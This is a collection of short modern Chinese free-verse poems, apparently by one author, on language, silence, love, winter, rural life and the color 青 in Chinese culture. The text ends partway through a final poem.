听到女人从与我的旧相识，听到了美丽的 决绝是她自己脱下。 祈求于再生，别的事物相对于这一件事物的 虚无和凌乱。 唯有爱使人清醒，唯有爱你， 向你走来即使同样的看不清哪里是哪里。 冷， 《冷》 更早他们的诗行就已写成。 更早，就从一个年轻位置 准备去往更年轻另一个地方。 但垂思何处，也需 面对所有正确，尚且幼稚的评断。 对一棵寒冷西伯利亚气候里面 孤独的白桦树。年轻不是理由。 树叶纷落，分解，归于大地 组成大地 在冷中停顿，冷中告知。冷不会一时半会就过去 有一些期盼很微弱，别的什么待思 但他们已经抓住并说， 生命对死亡的欢喜，在于冷的没有穷尽中。 中国青 《中国青》 把青与其他颜色放在一起，排列是有问题的。 而如果我们确实如此做了，且看起来有用。 引起了许多干脆交付给历史来处理的推卸。那么 说，对于青色的不断展开，深入，以及如果不是错误，近似于分分合合的否定式之上的中国史 ————即，青史 而青史一次次如此的呈现了不同人文和历史时期的它的具体。 在面对西方人文，西方哲学时，青史，即变成了可以把中国思想史直接替换了的 青之史。 汝窑的天青色，青色的复杂，青衣的舍身流国。皆如此。 中国人的颜色是青色。 青色以及其他。青不与红色，黄色等并列。 对应西方诗歌，中国诗歌的一一对应时，青就是超出诗歌而出现的事物。 相比于试图以诗歌来比照西方测度的汉语边界的正方性时。青，青衣在诗歌的不可测度之外。是戏曲。戏曲测度汉语语言的边界。 另一种走的比诗歌远的事物，便是陶瓷了。 如china。 刻度 《刻度》 之后诗歌将被审视， 此刻它如一个钟表上的指针。 走向下一刻 那些回溯的历史，聚集的目光 并不仅仅满足于，我们要求的诚实， 和公正。 正在走向下一刻的画面之中， 如此的轻松，却也有着向上一刻的思。 便是了它们给予我们的意义。 尚未 《尚未》 就是这种情形， 不断的被抛离，埋首 用手不断的扔出。 困难在于困难的不断制造之中。 谁又能说井中望月不能潦草的把一切来代表， 一个具体的事物还没有来 在更早之前。 深陷于发生的事件之中。 曰：尚未。 青衣者 《青衣》 除了墓碑没有其他任何一种可能 可以让青衣从被规定了的青的思想史，对中国本身规定的短暂却热烈那里 走脱。 所以，反之，对于中国人而言，长眠者反而才是短暂的。 而其对面，与其说是我们耳熟能详的“活”。不如说被取代了的它们 或者可以以沉默这种方式在程度之轻上来表达。 比如，上面坠着诗歌这种东西。 井，， 《井》 两个石头，一个 已经丢失。 两个，它为了维持它自己的完整的 两个。等待我这个人儿的到来 这里并没有悬疑，我要告诉我自己。 没有多余之外的另一双眼睛 定断者坚定的文字。没有 声音空空里面却能听到无一般的 痛苦在诞生。 我来了，并不是为了这个 从痛苦到痛苦，在雾气一般朦胧的丧失中 又不是什么呢？ 这个最后的清醒的我。 一天晚上 《一天晚上》 我只知道哪怕书写上贫乏的一个句子 也事关芒种。 在里面，各个词语和文字尽量都聚集和挤压。 除此之外，人自身的力气还应该应对于 一种可疑。在那力气的来源 自始至终都属于文字，但枯萎和寒冷的季节 走过之人抬眼望去，会看见 双重性及影子：文字和声音，语言与实物上面 空余井的痕迹。 对来自潮润的疑问者，或就是我们自己的疑问。 施以怜悯，怜悯着或应有勇气。踏上另一条道路 我祝福你，祝你身边一直被事关归来的声音所萦绕 “归来，归来”。把那生的贫瘠和苦恼留给我 书写，因是要催促你如催促干旱季节里面 仍旧需要行军的一支队列。这一次 我们如此的具体，这一次，月下 我就是你。自我书写之上是自我的发号施令。 但自然中没有好坏之分，接着雨水无辜今不进暗室。接着何况语言成句上，美人离开却仍有 对一直贫乏的揭示呢。 贫乏，当它身具了，在那苦难属于人而它自身的 愈加不可解之前。 以及它的自由的同样不可解。书写成谜。 冻 《冻》 仅有的语气用来做什么， 那么钟爱重复的人 今夜是否还会靠近一株夜晚的桃树。 在斟酌之后，冬天的寒冷与 凌冽却不可斟酌。 隔着透明而渐渐升温，之后，趋于平缓。 温暖是空空而无物的战场， 你应该设想最恰当的身份，最美丽的重逢往往 总带着哀愁。 一个战场上面的逃兵，桃花因等待而不盛开 在故乡那里。 脱落 《脱落》 从此刻开始。令人感到惋惜 是否这惋惜的也不够里面，可疑来将它包裹。 应该是了， 当我听到。断裂的， 有意义的诗句 从墙上跌落，从此刻开始。 湖 《湖》 对阴阳和人性上的善恶。 我们的理解本就是文化的一部分。 接着，又在于理解 我们就化作了柳树，伸出了柳枝 结出了柳絮。 那时回过头来我们再来谈论，理解时的那些错误。 去除它看似回忆迷人的外观， 从柳色里拿出，各自心内的柔软。 敲击 《敲击》 用小锤子敲碎地上的石头， 剩余叫傍晚。 为了寻找里面存在的声音， 而声音的消失已经太久了。 当我们敲击， 把那细小又称作傍晚时。 暮色 《暮色》 只有耳朵，左边和右边两只 感觉我也能够存活。感觉 剩余里面充斥着缓慢才最终消散的日暮颜色。 用手儿托举，使那个身体 向着上。 这也在感觉里面发生，并于一种互不干预中 仿佛拿出七弦琴。 夜晚77 《夜晚》 实属太过于渴望， 而把我等待。 让我的语言在语言之中 指正着我自己。 稍一用力，我相信就会并不美丽了。 寻人启事张贴出来，明日前 你瞧，这些文字正在语言的 说出之后。出于严寒最容易被当做理由 和肇事者的。 正分出了美丽的枝杈。 门扉 《门扉》 是不是合适时机 是不是诗歌， 是不是我。 是不是错误的门扉，其实走到了。 用手当钥匙， 却能插入狭细的小孔。 那么，我想水一定不能摆脱 人们把它的流淌和解冻历史 称作惊奇。 残疾的人儿，这样来介绍自己。 等待一束目光， 她全然在健康的疆域之上时。 青砖 《青砖》 万事万物都在等你，等我。 青砖等我， 等我来，等我走，它才离开。 墙上的青砖你也见过。 它静止不动，它斑驳了多少个年头。 青砖等你，青砖不动 等你，等你来了它才走。 指针，， 《指针》 我从来不曾有过的耐心的等待。 语言的空缺处在了，人儿 新买来的钟表的指针上面。从集市那里。 指针敲了一下它自己的下一刻， 并不曾将那个空缺 据为己有。它只是敲击了一下。也因此怀有了某种 对人而言因果的。 石头，，。 《石头》 除了石头，不能往身体里走 会带来痛。 但是它不听，无耳，迎着这“不能”往里走 身体上面， 把那个痛带了来。 斑驳 《斑驳》 当我爱诗，爱你， 墙上斑驳的颜色 我也爱。一场阵雨后的空气清新 可能我才赶了来。 好像如此奇妙的体验在于失语， 古代人称之为欲辨已 忘言。可能它 在语言表达上面应该保有诚实之外， 再更宽一些。 但是爱你，有时候我站在了空空的堤岸上面 在这一边有个人儿他是我 爱你，回想你少女时候的模样。 丰收后 《丰收后》 爱， 爱要走才可以去听它 自己身体内部的稠密和浓厚 把那个为幻想 为了在幻想之中想要一个 回答的人儿 为了他想要的回答为什么要 如此的完美。 他什么也不说，沉默一定是 它自己，对于它自己的完美 如果有幸我能去到那个 他或者它，站或曾做梦的地方 留有余温的味道叫“可以” 叫我见证人吧，如果我发现了 你们的遗失。 那爱，还什么也没有说。 短暂，， 《短暂》 世界的丰富性， 这样子的一个错误比喻 又在错误之中才慢慢的沉淀。 是否是在沉淀对它自己的谬误， 变成正确。在那些 夏日午后终获得一个休息良机， 或那双好奇心在里面闪耀的眼睛来说。 我也相信， 这个相信它是我仅仅能想到的， 走的最远的事物了。在这里 它是木棍，斑驳。是利剑 从不介意于自己的早已经锈迹斑斑。 我想这是世界上多么短暂的思，所给予我们的 景象呢。奇妙在于，当我误以为那是思时 如在一种因果关系中，便转向了，它 此刻。它自己如此短暂的美丽。 小花 《小花》 胸口别着一朵小花 我看到了这个美好的句子。 仅仅文字和单词 就将一句话的空间占据的 满满当当。胸口别着一朵小花， 句子。像已经不需要人来言说 需要人来沉默， 面前栩栩如生的的一块草地。 剩下的只是把春天来等待。 xx 《xx》 我深深地知道我的平凡和普通。 我喊你的名字，xx 我只是想托起，今晚的月亮。 夜晚，， 《夜晚》 重复的在。。的声音， 本想说本想去表达的夜晚，夜晚 却仿佛听到了一阵铃声。 还有那更深更深的是 不想有过停顿的震颤。噢 请在我的身体里面停下来吧。 这温暖的黑夜的寓所和我的沉默 我的静止将给予你，贫乏将愿意给予 它所能给予的全部。 于是我在黑夜里献诗，这些空洞的追问 一直回忆着它们最初的时候。 镜中，，， 《镜中》 我熟悉， 我应当越来越熟悉 之后可能会感到陌生。 所以，沉默往往可以被说成 沉默的罪证或沉默 之中有着罪证。 却难解，这是说人。但言语含蓄 甚至温柔的来以那沉默示之。 而在这之外，我说“我。。” 就像一场雪花降了下来，用它好来 把人和人的有关于沉默覆盖。 我要说， 让一切在寂静的夜晚发生。 说我爱你，说我想你。 广场 《广场》 昏暗的灯带来的光明 对光明的质疑，带来的光明 语言的历史这样子的解读 走不出了暮色时分 小广场，还有小站台的你 向远处海边的人儿，投出了一枚 带着幻想的薄薄纸片。 现代 《现代》 颤栗的法律却不是理由， 可怕正因此怕着更为可怕之物 人民广场 《人民广场》 在人民公园广场， 人潮拥挤，普遍，光鲜亮丽 和奔流不息着。 显然这是我的观点，深夜的空是一种对此的反驳。 无题043 《无题042》 思量之后你给我提供出的文字， 我误解你， 我误解你。使我走向别处 遥远的时间已很久了。 我应是那一个，习惯了在 想象不属于我的平常里面 看傍晚的风摇晃 一棵入冬后枯萎的草儿。 想剥去了自然， 而如果事实上虚妄来自于，多么努力的 想给予人们误解。 我来了，如果我思考，并因此 面前有无尽头虚空。 那折断早已经不可能的结果会持续 一整个冬天。 你咋 《你呀》 没有一次，你不是耐心又沉默着，变作了钟摆。 这一次和下一次，或者就是下一次 与上一次的被拿来比较。不仅仅， 这被用来表示别人，或者 从别人那里开始，猜测于每一个人都会 在自己过去的岁月里面， 缺少忍耐，走的过于着急。 应当是钟摆无声的敲了一下，星期天的 休息时间同样没有声音。 没有停止蔓延，而后到达梦境，和真实。 开口说话，开口解释，如果对于反转的期待 我误解成你还是会开口说话呢。 黄鹤楼 《黄鹤楼》 黄鹤楼边，夜色 我能得到的有烟，打火机，烟灰 寥寥无几的水果。啤酒在可以被找到 混凝土的三层之下。 那里，卖酒者静默，头低着，心思却往上， 等那个虚妄中往下试图挖掘的人。 不等测度。 送我 《送我》 送我，当从不可安分里出来， 不仅仅是一颗心。 而不顾及思量的颜色，那心儿 又怎可是红色所能比喻和代表呢 在遗忘的时刻，只有一些事物是看的清的 在模糊的时刻，再怎么用力的去 设想了的一座暮色时分小广场。 无题044 《无题044》 无可厚非， 当你看脸，当那脸庞中 确确实实的有了一种语言。 早晨的光 《早晨的光》 一天。所怕的语言是， 极慢。 我开门时一天也会无辜于 是我自己的陋习隐藏。 那些光早在从东山顶上升起之前， 就已经颇具波折了。 味道 《味道》 想象甜， 把对于甜的想象放于 空空的腹中。 放入楼中午则徒生津液， 自我介绍的语言多么的难以自持， 仅仅腹中之空的那个理由， 它所抚慰之中所有的。 有苦行的短暂，和垂思失败的短暂里面 唯有一点点闪光。 味道，， 味道 《味道》 想象甜， 把对于甜的想象放于 空空的腹中。 放入口中则徒生津液， 自我介绍的语言多么的难自持。 仅仅腹中之空那理由， 它所抚慰之中所有 苦行的短暂，垂思失败里 唯有一点点闪光。 室内 《室内》 呼吸在室内， 平稳，一张一吸，还有回忆。 已经不需要再去托举起那些罪状。 黑暗也已经将其淹没， 回忆里面细小的火焰， 曾像草丛中飞舞的萤火虫的腹部， 如今它们仍在 起伏平稳的呼吸里面。文字的翅膀 轻轻的越过了什么。 吃饭 《吃饭》 快吧，快赶上恐惧再回到了快。 快空置，快 旋转。 不能使快旋转于一个空洞之词语 一般的悬疑。饮食的抉择 突然在面对桌子上丰盛的食物之时 变成了两难的抉择。 你走其中的一条路，而另一条就是你 随后会消化，会思量之路。 此时它便将，与语言相适配的旗杆竖起 是手里的一双筷子， 正面对着牙齿咀嚼的悬疑。呵，悬疑仍在。 桌子，， 《桌子》 欢，笑吧，在欢笑里面放上 清脆的歌子。 朴素的曲子早已等待了好久 就像它歌唱的内容 也是有关于，那一抹亮光。 你不要谈别的了。再也不要脸红 躲到卧室，把门关起来，耳边 传来了嗡嗡声。 当那一支曲子，不断的上升 起初它旋转的碟片在于了开头， 我阅读到茨维塔耶娃 一首诗中的第一个单词时。 树荫下 《树下》 如果我爱，爱在回声 爱的厉害。爱意的微弱 就是一种错误。 树荫下，一直都有很多人。去到那里 把错误的判断抛弃，仿佛那是一处 阴影的 梦幻的 像给予我的早已经发生， 给予了我。像我那么不知足 阴影中的那些人儿，沉默，只露出了 片缕。 猜测，包裹那些正走在路上的， 都永恒不会被我所参悟，所理解。 无题048 《无题048》 我们能记起什么呢。 让误解和错误，错上加错。 表面破旧，红油漆脱落的椅子 以一种自然的方式摆放在堂口。 静止。用里面的一次运动 无论我是从一副昏暗画面的未曾改变。 或者有着别的什么开端， 它停顿一下子的时间太长了。很容易 在词语的描述上就从青丝，变作了 白发。 但我质疑，这静止之中， 所给予我新开始的印象。 平静之中的蓄力感，或苦苦支撑的木头椅子。 如果我的耐心再多一些， 它们就会以破碎来把我的心儿直指。 青色 《青色》 青，是雨停的意思。 ——停留 它的青色的尚未浓郁 伴着昏暗天色，它再也不去 别的地方了。 雨点带有问询之意的落下来， 雨，还在下着。 农村 《农村》 我一直压制，风筝 中间没有天空 直到黑夜。 \/ 从白天那里的湛蓝色的可疑 我也怀疑每一个赶回来的人们 \/ 当他们扛起锄头， 在田间地头。弯下腰 更为的具体，与草木。 \/ 我等待着的语言的尾端， 也许要落空了。 田野 《田野》 在我身体里升起的 蓝色的 黑色的彗星 照亮了它自己的蓝色和黑色。 夜的乐章 《夜的乐章》 乐章，乐章已经哑然 它消逝，伴随走向破裂的时刻 就在于此刻。这已经没有了太多的力气 在距离那个没有丝毫力气之前 挽留着的伸出手儿试图举起什么 相对而言，新是一个特别遥远的词语 期待它在夜空之上，撞击出了彗星般声音。 我质疑于我从中看到的人的悲凉， 甚至我也质疑于看，看是 无力者本身的毫无察觉。于是， 那破碎乐章的必然性。或者它的渐渐消逝 可以由到来所取代。 揭露那夜之真相，真理。内容是 一直乐章的完整在于那拼凑，多么努力的完整性 最终由一支“破碎”。人的语言的想当然 怎么可以就去把它瓦解掉。 风，，， 《风》 它等待解释 ———恳切的声音表述， 皱紧眉头，思量，再言说。 回忆起了什么，某个巧妙就在于遗忘 ———从来都不能真正的到达它自己。 田地很宽的谎言，一次次的经历。 它自己的模样儿也变幻， 它等待着，它自己对自己的解释。 期盼它可以最终的完成。 树叶 《树叶》 头顶的树叶， 我想给它们都一一起一个新的名字。 苹果，梨子，某个小鸟 和它口中的声音。都被当做了名字 名字就好像一个可以用脚 踩在上面，好来行走的石头。 亲爱的，即使你现在就在我的身边 用这些给树叶起的名字 在最后一片枯黄，随着目光的下落那里 我想再一次的到达于你的脸庞。 山丘，， 《山丘》 盼掌令者的权利能给予我， 呵，这短暂的话语允许出自我口 它那些理由，遁于须弥，向群山。 盼我能辨别，哪些文字能进来 哪些不被允许，它们的徘徊，极淡 影子并不在，断定语言变得无力的门外。 也可以这样来表示冬天的荒芜和冬天的 尽头。事情的重提难道 真的必经过遗忘后艰难的回想起来吗 像把那些苦思和皱眉，带着怜悯 推向了山谷中干涸的河道。 我又该向谁呢，向不远处的谁呢。 当他带着斗笠，沉默的下山。 并不是极端的情况，意思是傍晚与傍晚的相符 但我不会为他缓缓的下山， 提供出广阔的天地。也绝非无力后往往会有的 一次跃迁。新的开端被允许在于， 那是什么呢。 雨中的马，，， 《雨中的马》 沉默中有人走了， 有人抛下问题的走了， 有人抛下问题的让我深思的走了。 他问，如此短暂的一段路， 从卧室到另一个卧室。吃饭之前你现在行走的 你现在行走的的每一步都是在吃饭。 放下草稿后我正要去吃饭，我正爱这样短暂的 瞬间，大地上好不容易由思的微弱却到达的事物 爱的怜悯，爱的庄重， 爱是一种担心，我担心问题自问自答， 如果在那进入室内的饭桌上面，我开动筷子 饮食的另一个作用是掩埋之前，我发现了自己的 爱是多么的文艺呢？ 无题049 《无题049》 他们说捏一捏就走了。 我以为他们说是人就走了，离开了 去到很远的1地方。 以为是人的灵魂走了，我与 他第一次共同的出于恐惧而有了颤栗 为了寻找回来他熟人的灵魂，他打包着行李。 后来才知道是痛苦走了， 不理会那个在痛苦1之上的所有衍生，堆积的话语。 痛苦只有在现实的粗糙的手掌的体验中， 握得太紧才一下子在痛苦1中消失不见了。 反过来，我觉得那些萦绕于有关于痛苦1之上的 想法，像傍晚的云霞。 大门 《大门》 不能在这里建房 子起于无形。 因此使那些无形和无形的， 无形着的也绝不是我们。 当我用属于我的语言， 把一切强调一遍时，带着怜悯 也已将它们包含，包裹。 如果人们曾说它们如谜， 则如谜的是那些，溜走的。 语言，，，， 《语言》 如果没有耳朵，在沉默里面 果子如何度过好冷的的十二月。 \/ 如果没有眼睛呢， 那么干脆求人不如求己。 心一横，委曲求全的遁于虚无。 \/ 语言无法在少之中更少了， 它的矛盾有时难以言喻。香气弥漫的季节 常常被另一种矛盾所覆盖。 我，，。。 《我》 直到语言可以一直重复着它自己 如解一个悖论。 如果这些理由依然对于解释于 一些事情而言不够。 我累的气喘吁吁，为了 找到一些更为的，能作为明证的东西 ———这个语言发声之时的悖论的提法， 惊异，我也是不信的。 夜泊 《夜泊》 我坐在石头上，仿佛把一切就已经明示了。 属于我的有一部分也属于 别人，在爱这语言那里。 别的，那么多，昨天的。 如今我身边如此坚硬的石头。 坚硬，这妥协之后的称呼。 人声，或者也是辞别。 或在辞别之中遇见。遇见了 我所设想的 你们的，人们的种种疑问。 土块 《土块》 故乡的万物困住了我， 歧义困住了我。 一颗冬天冷固的土块。破碎 向上的力量，自它那体内迸发而出 是属于我的，但变作了黄颜色尘埃 语言之中同样飞溅。 枫桥畔 《枫桥畔》 入冬后仍有一丝留恋的百果树 静立在桥头。 它面前青石阶已被走过了无数次， 走的，就是今天的 它表面的光滑。有时到达一棵树的潮汐一般 的语言。又经过了阴冷天气。 但不是出自我，一种猜测我想隐藏。 入冬的百果树，请结出果子吧 弧线美丽的那些个抚慰心灵。 同桌，，， 《同桌的你》 有一天，长江边 一个破旧的小村庄。 我会抱住一株草木喊你 喊你的名字， 张宁，张宁。 xx xx 《xx》 当亲吻你嘴唇的那一刻，就意味着 如果有一天你不在了， 我也就失去了存在的意义。 树叶，，， 《树叶》 那么，呵，那些只是 很小的一部分。 就像女人在女人之中， 在女人的青春之中，有着 一支尚在的梦。那么，现实还是梦境 我又是什么。 槐树，岸边的梧桐高耸。悄然间 我已经离开了那，充满了爱意的时刻。 辛苦在于，模样儿未曾改变， 这只属于鸟的声音， 一支布谷鸟的清脆，敲碎了晶莹的冰块。 山楂片 《山楂片》 现在，我想那甜 它圆形，红色的形状。 之后试着离开， 我想的，是这种试图离开它的困难。 最简单的想的迷沼， 所以，断定它红色的表面是一种 雾气也是真的。 我们一直都是有你有我于，饮食上面的“急” 以真和真的来表示， 和行使之时。 村庄 《村庄》 村庄的起初的 声音， 像雨点，一滴，砸在了这里。 对柔软的腹部不要过于的多想， 和它那长久的误解 来自丰腴时。所以，对久远过去的贫苦而言 做同一时刻的两件事情是多么的不可能 他们第一次见到灯时的那种 惊讶。他们还没有掸去，他们身上的泥土 我看到 《我看到》 我在《黄金在天空舞蹈》 这本书的表面，看到了书本包装的墨绿色。 看到了它厚厚的纸叶， 页数，隐藏在里面悄然不见的诗歌 书本外面，我看到桌子上随意摆放的水杯， 撕下来折叠整齐的草稿纸。 白色的，印痕。 回来的意图在于受到了某种驱使， 一种等待把自己翻开来阅读的念头， 我看到了。 夜晚的 夜晚的 《夜晚的》 希望早在希望之前落空， 失望，由黑夜注视。 擅自闯入了黑夜的那些人， 遥远如令人迷醉的灯盏。 不可触及时，又在语言上面绝非人为的 藏着一条，把一切冲往别处的水流。 因果的语言，或文字的因果 甚至，更是要在不断地低语 重复和强调之中 才勉强做好了，在今夜动身的准备。 黑夜里面早已有一种破碎。如果 我们设身处地的试图独处， 是否在无人的山上，说出那 有关于闯入者的堕入轮回的事实之时， 便可以迎来了，寂寞里面 只闻鸟叫声呢。 枫桥夜泊，，，，， 《枫桥夜泊》 始于悦耳和到达悦耳 是一回事。 而到底是什么时候，我们 才可以使那，在事情的结尾之外。 就是在这条船上 我们思考了这条船。舟辑 为了方便之余，便在好远观的景象里面 把它往过去又推了千年。 事物易朽的碎末有时很容易 迷惑我们的双眼。我们这样提醒着自己 岸上，也必然没有了一支 管弦忧伤的歌子。所以，剩余的就是 诗篇了吧，有人回答，和一次不朽的失眠。 梧桐 《梧桐》 这里，和全然完整的 属于我的村庄是那，布谷鸟 在梧桐，槐树，桦树之间 声音回荡。 如果让一只鸟到达一只鸟 只有在夜里， 才会发生的，奇怪的问题呢？ 森林 《森林》 奥，失去 文字中的感觉， 言说中的感觉，感觉 那感觉也在失去之中。 流逝者的身份不能强加给 我。错误的人，不能 对最为浅显的道理 有太过长久的喜乐忧伤。 如果逝去者最终是一缕 早晨出现的微光。 它早已经穿过了，那片 我试图带着你抵达的森林。 在路边被锯掉了枝干， 裸露的树根，一圈圈年轮正更为长久 在，遗忘和绝非真正的孤独 之间等待着。等待是一件极其平常事情。 路。 《路》 修路完成时，应该以这样一种方式 来犒劳我们的修路师傅 ————是否他也修了一条语言之路呢。 村民 《村民》 我们分割，事物和事物之间 变得细小，有效果。 这在他们的出生之前， 他们已经经历过了。但对于此 我是要拒绝。 拒绝那种注释，和他们的出处 如果我们所谈不是什么道义 尺标伸下：那些问题提出者 同样出自生灵这个群体。 而我们之间常存在的那些个 彼此的关怀，我们用手抚摸彼此 的脸颊。语言如沐春风的 如约招至。展现它的全部的效力 朦胧间我们的双眼能够看得见 在那虚无之上生出的绿色。 但是我们遵守着德性的良知，只是以 沉默，会把渴求，渴望着的亲吻 称作了禁止。禁止时也禁止它们延伸的 更远，更深，在那忽有悬疑的边界处。 正是在于了那里，停顿者发问 我同样迟疑于是否，生灵的群体也应该 包含那些动物和植物呢。是否 枫桥夜泊者的意义在于了，就是人类的一次 暗室与回应呢。 在于远的迷途，而其他，仿佛在了次要之中的 次要性而才提到了那次回返。 枫桥 《枫桥》 你去到哪里， 这最初的祈愿幸福的破灭。 只有这微小的一点，在于了 我的眼前，沉默里面的，从我的身体 脱离而出的语言。它说着，这。。，就是了那 语言。 而微小的这一点点的绿意就行走在 那上面。 有一种无形，和我的心扉儿紧密相关。 呵，如果明天我想把它们分开呀， 亲爱的，就像有人要把我和你分开 一样子的鲜血淋淋。 树 《树》 宁静降临的时候， 还有一些多的，成为了剩余。 有着向上的力量，如果窗外的那一棵树 沉默，如果就是这一棵树时。 你777 《你》 出生，来到世上。 就跟从天上直接掉下来差不多。 在夜晚发生，则是落在了船上。 但有违公理，来的突兀 人怎么可以直接就从天上，又 不令得天上的群星有所察觉。 再次抬头望时所渴望到达那些璀璨 那些雾气，半夜里潮湿的寒气，弥漫 有什么比你的忧愁更深的东西 赐予你奇妙，如果你更加的钟爱于 寻找，在寻找上的没有尽头的夜里。 茶叶， 《茶叶》 如果难以察觉，在赐予 之中的那些最为微小。 把令人不满中的微小的一小部分， 难以想象，竟可以被安放在面前 所看见的事物。 我常常幻想它的情形，它尽力所一次次的 试图到达的边界，却始终无法 触及那微末。 只有风可以把它们，垂下来 化作了语言上面神秘的细丝。 它曾试着被人们描述，用聚拢，收缩 或严寒的窗外天气里面沉默着不予回应。 事实上这个盛放茶叶的盒子， 它一直都是静止的。偏偏又在人的认识上 无奈于仿佛色彩的五彩斑斓。 农村 《农村》 如果问题，一年都得不到解决 遗失之物一年也没有音讯和下落 那么年关将至， 我们，就会采用农村人常用的老方法。 拿起一根木棍，抄起一把铁榔头 往事物，准确而又不听信的 往那个动物，猪，牛，羊，鸡 和鸭子的头上，身上砸去。 一下，一下。。。 直到作为无力申冤的血流出， 不断流出，如泉眼。流了个干净 直到最终地上散落了一地的皮毛 最终在骨头的内部我们找到了答案和失物 而如果对于这一切，我们 其实一开始都是心知肚明的。 那么，尽量的保持沉默就可以，避免被怀疑 被质疑。 肇事者的自我无辜，甚至是 肇事者的自我监守自盗，贼喊捉贼 另一种平衡在天平上面发生， 我们献上了羊肉，猪肉，鸡肉，水果 点上香。 为的是使天平平衡。今夜，我看到万家灯火 一片祥和的气息。 街道 《街道》 希望街道上的每一个事物 都可以穿过我的心。 走在街上，每一个事物也都有一颗 爱意又透明的心。 我视那些高高耸立，冰冷的楼阁 为时代的冷漠的巨人。 不理会它们的体内，组成它们的 那些沙与石子。一直有着 一颗颗试图回归田园的念头。 当我走过，为了使穿过于我身体，这一 充满了爱意的情形发生。 使得那情形再次的变幻， 这是要多久的痛苦才换来，落得沉默呢 在爱意和收拢的徒劳之外， 又想着让自己，面对人心的度量而言之时 试图以一种透明之姿。 地板，，， 《地板》 随时都可以退去自己 正是我。我把我自己的 残影留在了原地。 \/ 没有犹豫和迟疑， 那种极端的情形常常发生。 如果一切都是在时间的瞬息和短暂之上， 基础于此种种语言和看法 话里有话里面的空。仿佛它所需要一直面对着 语言在深处自我怀疑。 \/ 像某个人不得不一直走着。他期盼 他那毫不现实的幻梦，能在现实发生。 傍晚 《傍晚》 没有——陈词 也需要以此为边界。 \/ 室内是逃到了温暖室内的 一次失败。 所以，因果在炭与木柴 在焚烧，或再往前一点点 木棍的折断那里。 \/ 而在那里，那里，柴堆 又藏起了多少，我们的尊严。 桥头 《桥头》 在松开之中，我要听闻，有关于 抓住和获得的事情。 只有语言才可以在如此短暂里面， 制造醉人的迷梦。 站立在桥头，年轻人更往他的 年轻的岁月中走去。 使得一切描述都是不准确的。 事物 《事物》 请在今天靠近， 所有缓缓移动着的事物，矛盾着的 事物。事物竟然可以 组成观看，看着它们自己而 尚且不是一个展示的意思是，它们在自己 之外。 是否那些词语真的需要很轻， 如春天的柳叶，或初秋的柳絮。 那些语言来到了真实里面，真实正被 漫天飞舞的虚幻所包围。 我的梦境被需要着，像我也 开始变得必不可少。 寻觅的踪迹发生在稀软的河岸边， 细细的沙子踩出了一行行足迹 我的语言是傍晚的阳光， 我抬头就能够看到， 一种矛盾，我在了我自己的，语言的内部。 夜晚，，，， 《夜晚》 赤贫，一个错误的词语 但依然展开，它 来自于可以被看得到模糊的愿景 文字的表达，文字的群体所组成了的 心儿柔软如沙滩。 如夜晚波光粼粼的河流，如果我 踩下了第一声里面的温柔的脚步，代表着 多的这些脚步，快要满溢的幸福感 它那对它自身的解决也来自于 这简简单单的一步。 仰头看着天上的群星，耳边传来 风儿吹拂树木的声音。我能忍受的它们所 愿意赐予我的漫长的等待， 在忍耐的最初，开始，事物只露出了 它的片缕。 田野 《田野》 放下的所有东西之中， 最为绵长着形状的道义，总最耀眼。 它遮挡自己的光芒，以草木的土灰色。 在我的语言之中，我我走在山间的小路上 思虑的困难的两难抉择， 如鲠在喉。当我抬眼看去，一株无名的野草 在梯田，山道，地里的核桃树的 序列之后存在。 一个长长的队伍等待着被道义的 发现和怜悯。如果能把这些怜悯的远远不足 远远不够所赐予了它的， 正是另一种道义的情形呢。已经不是第一次了 轻视那些沉默，或往沉默的沉默里面 但为了提防于作为人类的这一个基本的准则， 即使是失败和充满了误解的揣测， 我因此更揣测着，它那难以被言喻深冬里面的情形 田野11 《山谷》 我太平凡了， 我站立的地方是天平的 一端。我所言说的话语 重复着天平的无形。 我困惑于倾斜，这并不是求助于 能想到的事物之后 作为了无果和无奈的结尾。 有时再多的话语， 就是干旱了的池沼里面， 自我迷惑的陷阱。如果人们做梦的地方 开始它那随意和不受人为的 也同样有着别的可能。你捡到了 挂在枝头的一截衣袖。 从一个平凡的脸庞，你并没有 走的更远，只是在田野的空荡荡里面 回声和话语之间的彼此重复的对话。 今夜12 《今夜》 在语言的悬崖的对立面吧， 黑夜里面的永驻，应该在于 一声极其短暂的叹息。 而明天像流逝的冰水， 像虚无的江水上面同样， 迷乱了自己的方向。只好 那方向再次把今夜来指向。 于是，我尽力想象，我 在屋子里面合上有关于 英雄事迹的书籍。翻找，穿上 夜行者青色的衣服。 而事实上并无一次，怜悯于幼小生灵 个体，脆弱的审判。 如果我依然爱着寻找，我也愿意 将我的那一份，可疑的骄傲 只让它面对茫茫的今夜，深藏心中。 无题044 《无题044》 我并不来自于，理所当然那里的模糊。 那最为直接的关系，诗歌的书写，书写着 是它自己的法令。但，请求，像公正的天平 像真正的沉默不语。他只属于，只身闯入了 黑夜里面，却有对比，轻蔑视之的人。 书写，如果文字的力量的不够。而它那无形 并不需要求助，就藏在了，横竖交错的结构自由之中呢。 像无家可归者才能提供出来，多么悲叹之中的揭示性。 抛弃居室，把文字的房屋舍弃。需要多大的勇气呢。 从谨记怜悯和珍惜开始，而深夜 绝非终点，也不是迷途。 我想你， 《我想你》 爱的剩余，爱的不够 我等待着的，是那， 名与实的同一，行动，当爱 它那微小。从此属于了遗忘的 一小部分。向着文字之中 地带上面与思虑相关的模糊而去时。 转变它那名谓的过程 同样发生的，那模糊，但绝非爱意 常常被曲解了的。生活之中与可随意被挥霍 有关的丰满。 它应有着瓷器和石头一般的名字，并且 在一条金色的大江上面闪亮着，它自己的名字 呵，爱意的微小的一部分。也是岸上的火 手持火把的人，言说沉默之人。某个人，单个的 人，出于，又是从他那孤独的难以忍受那里 纵身一跃，语言的爱意是否，就可以平复呢 如这水面上短暂溅起的浪花。 微小的事物 《微小的事物》 微小的事物它多么的微小， 会在某一天 高贵的国王找到了它。 如果艰辛的寻找， 会在想象里面催生出来的 是另一种微小。 在想象的位置和余地上面， 回荡着确定的论断。 微小的事物当它们过于的普遍， 像两种不同的后果和恶果。 愤怒的皇帝的孤独，暴戾和死亡 这些事物，如今是沙粒和尘埃 正共同面对着历史的天空。 田野3 《田野3》 我并没有耐心，一件事或者两件事。 在空洞和虚无，并不会发生 邮递员不会投递来，那 因事物在寒风中变幻，而失去了的详情。 应奉上一颗凌乱着热切的心， 一颗头颅。燃烧着的，那火焰。 在这一个莫须有的时刻，让语言言说 ：“它才那么明亮”。 而与现实之间的界限在于， 取下了那枚滚烫的指针。 ———如果，对于期盼问题解决的等待而言， 早在落空之前。一切依然还是远远不够的。 祝福 《祝福》 应该在你的语言之中， 